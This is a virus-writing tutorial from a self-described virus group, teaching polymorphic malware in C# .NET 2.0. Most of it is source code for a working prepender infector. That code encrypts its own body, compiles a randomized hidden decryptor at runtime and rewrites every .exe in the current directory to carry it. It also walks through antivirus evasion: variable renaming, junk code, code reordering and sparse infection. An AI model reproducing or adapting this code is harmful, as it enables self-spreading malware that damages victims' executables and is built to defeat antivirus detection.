Polymorphism in C#

/****************************************************************
 **** Polymorphism in C#                   
 **** .net 2.0 
 **** by free0n 
 **** free0n.host.sk - doomriderz.co.nr -DoomRiderz
 ****************************************************************
 ****/

/****************************************************************
 ************ Introduction
 ****************************************************************
 ****/

 The purpose of this article is to explain different
 polymorphic techinques using C# in .net 2.0. There
 are many different ways to achieve this but the basis
 of all techniques is you need to be able to change, 
 in order to do this we have to find a way to create 
 and build a new varient of a program when the main 
 program runs.

 For example say you have program1, now when you run this
 program1, the program1 can spawn a new exe. Give birth to 
 a new varient. Now a new varient means that program2 will
 not be like program2 exactly. Our goal is change enough
 to not generate patterns in our infected file.

 [program1]  ---> runs --> [creates program2]
 [program2]  ---> runs --> [creates program 3]

 Ok so now you know the over simplified version of what we 
 are trying to do. 


/****************************************************************
 ************ Basic Technique
 ****************************************************************
 ****/

 Ok first lets understand how we can build an executable 
 at runtime in C#. This first example will build a simple 
 application that can MessageBox a value that is generated 
 from the first one. 

 
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.CodeDom;
using System.CodeDom.Compiler;
using Microsoft.CSharp;

namespace MessageBox {
    class Program {
        static void Main(string[] args) {

            string msg = "generated at:" DateTime.Now.Hour + DateTime.Now.Minute + DateTime.Now.Second;
            //generate a new exe name
            Random r = new Random();
            
            //pass our name to BuildExe
            string name = "msgbox-" + r.Next(100) + ".exe";

            Console.WriteLine("Program Name:" + name);
            BuildExe(name, msg);

        }

        public static void BuildExe(string name, string msg) {
            ICodeCompiler ic = new CSharpCodeProvider().CreateCompiler();
            CompilerParameters cp = new CompilerParameters();
            cp.ReferencedAssemblies.Add("System.dll");
            cp.ReferencedAssemblies.Add("System.Windows.Forms.dll");
            cp.GenerateExecutable = true;
            cp.CompilerOptions = "/target:winexe";
            cp.OutputAssembly = name;

            string code = "using System; n" +
                   "using System.Windows.Forms; n" +
                   "namespace MsgBox { n" +
                   "    class Program { n" +
                   "        static void Main(string[] args) { n" +
                   "            MessageBox.Show("" + msg + ""); n" +
                   "        } n" +
                   "    } n" +
                   "} n";

            CompilerResults results = ic.CompileAssemblyFromSource(cp, code);
            foreach (CompilerError ce in results.Errors) {
               Console.WriteLine(ce.ErrorNumber + ": " + ce.ErrorText);
            }
        }
    }
}


Now as you can see the code is built in the BuildExe
method. This method we pass in a name of exe and a
message from the main method. Now I know what your 
thinking building code in a string is lame! OR is it?

Look at the the example with the code in the string. Having it in
a string we can totally manipulate every variable,
add new things, pass in values and even encrypt/decrpyt
data! So a string isn't lame. 

You can now see how we can create a new a program dynamically.
So lets figure out how we can apply this to our app.


/****************************************************************
 ************ How we can use this technique
 ****************************************************************
 ****/


With generating an exe at runtime you can now start doing
different polymorphic techniques and apply encryption. Lets 
start with our simple prepender app. The prepender app
looks like this in a infected file.

[app] | [host] 

The app is placed in the first part of the exe so it 
is executed first. Then once the app is executed it 
reads itself and seperates the host bytes from itself and 
then executes the host. Now if we can generate an executable 
we can generate a decryptor to decrypt it'self so our 
app will look like this:

[decryptor] [host] [encrypted app] 
 
 or you could do:

[decryptor] [encrypted app] [host]

For the next example below we will do the first one. The
program execution will flow like this:

1. Decryptor is placed in the first part of the exe
2. Decryptor seperates the encrypted app and the host
3. Decryptor decrypts the encrypted app
4. Decryptor executes the host and waits for the user to exit
   the host program and then executes the decrypted app

So lets see how this works in C#. This example will use 
the Rijndael encryption package that C# offers. This is
good because we can generate a key and pass the value
to the decryptor which will then use the key we dynamically
generated to decrypt the app body.


using System;
using System.Collections;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.CodeDom;
using System.CodeDom.Compiler;
using System.Diagnostics;
using System.Security.Cryptography;
using Microsoft.CSharp;

namespace Encrypty {
class Program {

        private static ArrayList wordList = new ArrayList();

        static void Main(string[] args) {
            Populate(Directory.GetCurrentDirectory());   
        }

        public static void Populate(string dir) {
            if (Directory.Exists(dir)) {
                string[] files = Directory.GetFiles(dir, "*.exe");
                for (int i = 0; i < files.Length; i++) {
                    try {
                        byte[] hostbytes = read(files[i]);
                        if (hostbytes[60] != 128) {
                            Random rand = new Random();
                            int b = rand.Next(1000);

                            string cf = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName);
                            string nf = Directory.GetCurrentDirectory() + "\" + RandWords() + ".exe";
                            string ef = Directory.GetCurrentDirectory() + "\" + RandWords() + DateTime.Now.Year + ".exe";
                            string key  = RandomKey();

                            //write the current bytes out to a random file name nf
                            byte[] enc = read(cf);
                            FileStream fs = new FileStream(nf, FileMode.CreateNew);
                            BinaryWriter bw = new BinaryWriter(fs);
                            for (int x = 0; x < enc.Length; x++) {
                                bw.BaseStream.WriteByte(enc[x]);
                            }
                            bw.Close();
                            fs.Close();

                            //now encrypt the bytes saving it into ef
                            Encrypt(nf, ef, key);

                            //if we encrypted correctly we can then
                            //delete the original

                            if (File.Exists(ef)) {
                                if (File.Exists(nf)) {
                                    File.Delete(nf);
                                }

                                //now we figure out how much to read
                                //and write. The decryptor will then get
                                //generated and we will start writing the
                                //new file.

                                FileInfo fi = new FileInfo(files[i]);
                                int len = (int)fi.Length;
                                string df = Decryptor(ef, 5632, (len + 5632), key);

                                if (File.Exists(df)) {

                                    //if our decryptor generated
                                    //then read both the encrypted and decrypted
                                    //bytes and then write them to the file
                                    //that we are infecting. 

                                    byte[] byteDec = read(df);
                                    byte[] byteEnc = read(ef);

                                    //recreating the file
                                    if (File.Exists(files[i])) {
                                        File.Delete(files[i]);

                                        FileStream fsb = new FileStream(files[i], FileMode.CreateNew);
                                        BinaryWriter bwb = new BinaryWriter(fsb);

                                        //write the decryptor first
                                        for (int x = 0; x < byteDec.Length; x++) {
                                            bwb.BaseStream.WriteByte(byteDec[x]);
                                        }

                                        //write the host bytes
                                        for (int w = 0; w < hostbytes.Length; w++) {
                                            bwb.BaseStream.WriteByte(hostbytes[w]);
                                        }

                                        //write the encrypted app bytes
                                        for (int z = 0; z < byteEnc.Length; z++) {
                                            bwb.BaseStream.WriteByte(byteEnc[z]);
                                        }

                                        bwb.Close();
                                        fsb.Close();

                                        //delete the decryptor and the encrypted file
                                        File.Delete(ef);
                                        File.Delete(df);
                                    }
                                } else {
                                    if (File.Exists(ef)) {
                                        File.Delete(ef);
                                    }
                                }
                            }
                        }

                    } catch { }
                }
            }
        }

        public static void Encrypt(string inf, string outf, string p) {
            try {
                UnicodeEncoding UE = new UnicodeEncoding();
                byte[] key = UE.GetBytes(p);

                FileStream fsc = new FileStream(outf, FileMode.Create);
                RijndaelManaged cr = new RijndaelManaged();
                CryptoStream cs = new CryptoStream(fsc, cr.CreateEncryptor(key, key), CryptoStreamMode.Write);
                FileStream fsIn = new FileStream(inf, FileMode.Open);
                int d;
                while ((d = fsIn.ReadByte()) != -1) {
                    cs.WriteByte((byte)d);
                }
                fsIn.Close();
                cs.Close();
                fsc.Close();

            } catch { 
            }
        }

        public static string Decryptor(string f, int num, int hl, string key) {
            string name = Directory.GetCurrentDirectory() + "\" + RandWords() + DateTime.Now.Year + ".exe";
            ICodeCompiler ic = new CSharpCodeProvider().CreateCompiler();
            CompilerParameters cp = new CompilerParameters();
            cp.ReferencedAssemblies.Add("System.dll");
            cp.ReferencedAssemblies.Add("System.Windows.Forms.dll");
            cp.GenerateExecutable = true;
            cp.CompilerOptions = "/target:winexe";
            cp.OutputAssembly = name;

            Random r = new Random();
            string n = RandWords() + r.Next(100);
            string n2 = RandWords() + hl;
            string r2 = RandWords() + r.Next(hl);

            string d = "n" +
            "using System; n" +
            "using System.Windows.Forms; n" +
            "using System.Security.Cryptography; n" +
            "using System.Text; n" +
            "using System.Diagnostics; n" +
            "using System.IO; n" +
            "using System.Threading; n" +
            "namespace " + n + " { n" +
            "   class " + n + n2 + ": Form { n" +

            "       static string cf = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName); n" +
            "       static string inf = @"" + f + ""; n" +
            "       static string outf = @"" + n2 + ".exe"; n" +
            "       static string tmp = @"" + n2 + r2 + ".exe"; n" +
            "       static string p = @"" + key + ""; n";
            
            d += "  public static void Main() { n" +
            "             " + r2 + "(); n" +
            "       } n" +
            "       private static void " + r2 + "() { n" +
            "           try { n " +

                            //read current file into byte array
            "               FileStream fs = new FileStream(cf, FileMode.Open, FileAccess.Read); n" +
            "               BinaryReader brb = new BinaryReader(fs); n" +
            "               byte[] b = new byte[fs.Length]; n" +
            "               for (int q = 0; q < b.Length; q++) { n" +
            "                   b[q] = brb.ReadByte(); n" +
            "               } n" +
            "               brb.Close(); n" +
            "               fs.Close(); n" +

                            //write temp host program
            "               FileStream fsb = new FileStream(tmp, FileMode.CreateNew); n" +
            "               BinaryWriter bwb = new BinaryWriter(fsb); n" +
            "               for (int z = " + num + "; z < " + hl + "; z++) { n" +
            "                    bwb.BaseStream.WriteByte(b[z]); n" +
            "               } n " +
            "               fsb.Close(); n" +
            "               bwb.Close(); n" +
            "               File.SetAttributes(tmp, FileAttributes.Hidden); n" +

                            //start temp program and wait for it to exit
            "               try { n" +
            "                   Process.Start(tmp).WaitForExit(); n" +
            "                   File.Delete(tmp); n" +
            "               } catch { } n" +

                            //read encrypted version and write to a file
            "               FileStream fb = new FileStream(inf, FileMode.CreateNew); n" +
            "               BinaryWriter bw = new BinaryWriter(fb); n" +
            "               for (int z = " + hl + "; z < b.Length; z++) { n" +
            "                    bw.BaseStream.WriteByte(b[z]); n" +
            "               } n " +
            "               fb.Close(); n" +
            "               bw.Close(); n" +
            "               File.SetAttributes(inf, FileAttributes.Hidden); n";

                            //start decrypting the bytes from the file
            d += "          UnicodeEncoding UE = new UnicodeEncoding(); n" +
            "               byte[] k = UE.GetBytes(p); n" +
            "               FileStream fr = new FileStream(inf, FileMode.Open); n" +
            "               RijndaelManaged r = new RijndaelManaged(); n" +
            "               CryptoStream cs = new CryptoStream(fr, r.CreateDecryptor(k, k), CryptoStreamMode.Read); n" +
            "               if(File.Exists(outf)) { n" +
            "                   File.Delete(outf); n" +
            "               } n" +
            "               FileStream o = new FileStream(outf, FileMode.Create); n" +
            "               int data; n" +
            "               while((data = cs.ReadByte()) != -1) { n" +
            "                   o.WriteByte((byte)data); n" +
            "               } n" +
            "               o.Close(); n" +
            "               cs.Close(); n" +
            "               fr.Close(); n";
            
            d += "          if(File.Exists(inf)) { n" +
            "                   File.Delete(inf); n" +
            "               } n" +
            "               Thread t = new Thread(new ThreadStart(" + r2 + n2 + ")); n" +
            "               t.Start(); n" +
            "           } catch (Exception er) { n  n } n" +
            "       } n" +
            "       private static void " + r2 + n2 + "() { n" +
            "           try { n" +
            "               Process.Start(outf).WaitForExit(); n" +
            "               File.Delete(outf); n" +
            "           } catch { } n" +
            "       } n" +
            "       n" +
            "   } n" +
            "} n";

            CompilerResults results = ic.CompileAssemblyFromSource(cp, d);
            if (File.Exists(name)) {
                File.SetAttributes(name, FileAttributes.Hidden);
            }
            return name;
        }

        public static string RandWords() {
            string c = "abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZMaDeByfReeOn";
            Random r = new Random(unchecked((int)DateTime.Now.Ticks));
            string n = "";
            for (int i = 0; i < r.Next(4, 100); i++) {
                n += c[r.Next(c.Length)];
            }

            if (wordList.Contains(n)) {
                wordList.Add(n + DateTime.Now.Second);
            } else {
                wordList.Add(n);
            }

            return n;
        }
        
        public static string RandomKey() {
            string c = "abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZMaDeByfReeOn";
            Random r = new Random(unchecked((int)DateTime.Now.Ticks));
            string n = "";
            for (int i = 0; i < r.Next(0, 100); i++) {
                n += c[r.Next(c.Length)];
            }
            if (n.Length > 8) {
                n = n.Substring(0, 8);
            } else {
                int b = 8 - n.Length;
                for (int i = 0; i < b; i++) {
                    n += c[i];
                }
            }
            return n;
        }


        public static byte[] read(string d) {
            //simply reads a file and returns it as a byte array
            FileStream fs = new FileStream(d, FileMode.Open, FileAccess.Read);
            BinaryReader br = new BinaryReader(fs);
            byte[] b = new byte[fs.Length];
            for (int f = 0; f < b.Length; f++) {
                b[f] = br.ReadByte();
            }
            br.Close();
            fs.Close();
            return b;
        }
    }
}



So now that we have our app that is able to infect files in 
the current directory. The infection routine can now include
encryption since we can generate a decryptor.


/****************************************************************
 ************ Applying Polymorphism
 ****************************************************************
 ****/

Lets start with what we have now in a infected file. 

[decryptor] [host] [encrypted app]

We know that AV people look for any type of pattern. This obviously
is a problem for our decryptor. Since in the above example will 
generate the same decryptor every time. To avoid this we must
change our code string that we use to build the decryptor.

Like I said earlier, having the code in string will allow us to do
things like variable changing, adding trash, body moving. 


1) Variable changing.

We have the decryptor in our string what we can do is replace
every variable with a random word. Then keep track of each 
word/variable used in a hashtable. We then reference the 
hashtable anytime we have to use a previous variable.

Hashtables work based on a key and value sort of like
an array. We can use the index to address the value and
retrieve a random word. With variable changing we can
avoid any type of pattern.

Before:

string code = "using System; n" +
              "using System.Windows.Forms; n" +
              "namespace MsgBox { n" +
              "    class Program { n" +
              "        static void Main(string[] args) { n" +
	      "		   string variable1 = "string value "; n" + 
              "            MessageBox.Show("" + msg + ""); n" +
              "        } n" +
              "    } n" +
              "} n";


After:

ArrayList wordList = new ArrayList();
Hashtable hashish = new Hashtable();

for (int hi = 0; hi < 3; hi++) {
   string val = new RandomWord().RandomWords(r.Next(4, 12345));
   if (wordList.IndexOf(val) != -1) {
      val += val + DateTime.Now.Millisecond;
   }
   wordList.Add(val);
   hashish.Add(hi, val);
}

//now we change all the variables
//to random words. Anything that we 
//can give a different name we change and
//all we do is reference the hashtable by an
//index to retrive the value. So incase
//we need to reference a variable more than once
//we just call the same index again

string code = "using System; n" +
              "using System.Windows.Forms; n" +
              "namespace + hashish[1] + { n" +
              "    class  + hashish[2] + { n" +
              "        static void Main(string[] args) { n" +
	      "		   string " + hashish[3] " +  = "string value "; n" + 
	      "		   string " + hashish[4] " +  = "" + hashish[3] +"";n" +
              "            MessageBox.Show("" + msg + ""); n" +
              "        } n" +
              "    } n" +
              "} n";

2) Adding Trash

Since there was no trash adding we will add a method that
will generate a random sort of comments, and variables.
Then place them in different areas of the code.

ArrayList wordList = new ArrayList();
public string Trash() {
   string t = "";
   for (int hi = 0; hi < 50; hi++) {
        Random r = new Random();
        string val = new RandomWord().RandomWords(r.Next(4, 100));
        
        while(wordList.IndexOf(val) != -1) {
           val = new RandomWord().RandomWords(r.Next(4, 200));
        }
        
        if (r.Next(1, 100) % 2 == 1) {
           //comment code
           t += "//" + val + " n";
        } else {
	   //this is basic example of variable assignment
           //we can do this with pretty much most variables
           //but for this example we will just do strings
           string vals = new RandomWord().RandomWords(r.Next(4, 300));
           t += "string " + val + " = "" + vals + ""; n";
        }
        wordList.Add(val);
   }
   return t;
}


3) Code Moving.

Since the code is wrapped in a string we can break it
up into different parts. This is so we can then concatenate 
different parts of the string in a random order. 
That won't affect compilation 

So  for example

[beginning] + [variables] + [decryption] + [trash] + [end]

[beginning] + [variables] + [trash] + [decryption] + [trash] + [end]

[beginning] + [trash] + [variables] + [decryption] + [trash] + [end]


string beginning = "using System; n" +
              	   "using System.Windows.Forms; n" +
                   "namespace + hashish[1] + { n" +
                   "    class  + hashish[2] + { n";

string variables = "string " + hashish[3] " +  = "string value "; n";

string main = "     static void Main(string[] args) { n" +
              "            MessageBox.Show("" + msg + ""); n" +
              "     } n";

string end = "    } n" +
              "} n";


string code = "";
if(((int)DateTime.Now.Ticks % 2) == 1) {
   code += beginning + variables + main + end;
} else {
   code += beginning + Trash() + variables + Trash() + main + end;
}
CompilerResults results = ic.CompileAssemblyFromSource(cp, code);

The key to code moving is to base it randomly but in
a order that you can still compile the code. This example is just
a basic idea you would most likley want to store each code sequence
in a arry of some sort then randomly sort it so it wouldn't be possible
to guess which sequence it would run. 


/****************************************************************
 ************ The END
 ****************************************************************
 ****/

You will really notice all these techniques when you 
run ildasm on an infected exe. You'll notice that you generated
enough different varients that it will trouble AV.

Another interesting note is that using these techniques
with another called sparse infection is good. Sparse infection
is the idea that you don't infect every file or you don't
infect any files when your app is run. This will piss off
AV so much because in order for AV to find as many patterns
from the decryptors they have to run it a couple thousand times.

I hope this text wasn't to hard to understand. If you
are new to C# then youre probably really confused lol. 

Some other ideas you can try with this is generating 
an exe that generates another exe and encrypt the code strings.
or possibly dividing up the host and app into different bytes
and randomly sorting them and then add encryption (baldr:) The
possiblities are pretty much endless now that you have 
the ability.Creation is a gift so use wisely :) Oh yes I'm
very sorry for all my grammer mistakes and spelling errors. 
Years on the computer have made me horrible with spelling
and grammer.